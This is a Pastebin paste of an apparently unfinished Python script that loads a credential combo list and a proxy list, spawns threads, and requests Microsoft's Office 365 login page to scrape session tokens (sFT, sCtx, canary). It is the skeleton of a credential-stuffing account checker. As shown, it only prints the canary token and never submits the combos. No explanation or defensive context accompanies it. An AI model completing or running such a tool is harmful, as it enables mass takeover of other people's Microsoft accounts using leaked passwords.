Guest User

Untitled

a guest
Oct 15th, 2021
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1. import requests
  2. import threading
  3. import ctypes
  4. import random
  5. import time
  6. from threading import Thread
  7. req = requests.Session()
  8.  
  9. combo = open('combos.txt','r', encoding='utf-8', errors='ignore').read().splitlines()
  10. threadc = 1
  11. proxies = open('proxies.txt','r').read().splitlines()
  12. proxies = [{'https':'http://'+proxy} for proxy in proxies]
  13.  
  14. def divide(stuff):
  15. return [stuff[i::threadc] for i in range(threadc)]
  16.  
  17. def main(combo):
  18. for line in combo:
  19. headers1 = {
  20. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
  21. 'Pragma': 'no-cache',
  22. 'Accept': '*/*'
  23. }
  24. x = ''
  25. r = req.get('https://login.microsoftonline.com/common/oauth2/authorize?client_id=4345a7b9-9a63-4910-a426-35363201d503&redirect_uri=https%3A%2F%2Fwww.office.com%2Flanding&response_type=code%20id_token&scope=openid%20profile&response_mode=form_post&nonce=637303277165345962.NmRmMmNlNDctZWUxMC00MmRkLTg5NjMtZTBhMmI2M2NlOTBhYzJmMmNkMzktNjYzYi00Njk0LWFkYzctMTNmMmZmNWRlZDBh&ui_locales=en-US&mkt=en-US&client-request-id=d3e418b8-308e-4491-bad8-0ac3f4b5cfdd&state=5DouHr5AOO1yxDS6OfWt3UALMTZ2RHHNVLBABRMsbN62-RdmJyWh6IMOgq4rD9ZWoVe0b5ftF3vAD81Xk9EBreyY9xjaX9ZmMz_t_VzOLeB2dCWUhYmwI_2_lthhm1msyZo1W2Sk8d3o9qS4IQy_oGS6yU1FCn3hmfnYuP5TmrTL6FSscYfWWJeTObJ-JOZ8UMhxjseMNiVBEa9Fq4SeJli4YliQoBBJU6RNawWezt4YLvN3W-CHN4LYxQsJLOFXqEzXJEF5aHv01myuS5-zwg&x-client-SKU=ID_NETSTANDARD2_0&x-client-ver=6.5.0.0', headers=headers1)
  26. idd = r.headers['x-ms-request-id']
  27. f = r.text.split('"sFT":"')[1].split('","sFTName"')[0]
  28. c = r.text.split('"sCtx":"')[1].split('","iProductIcon"')[0]
  29. x = r.text.split('"canary":"')[1].split('","correlationId"')[0]
  30. print(x)
  31.  
  32. threads = []
  33. for i in range(threadc):
  34. threads.append(Thread(target=main,args=[divide(combo)[i]]))
  35. threads[i].start()
  36. for thread in threads:
  37. thread.join()
Advertisement
Add Comment
Please, Sign In to add comment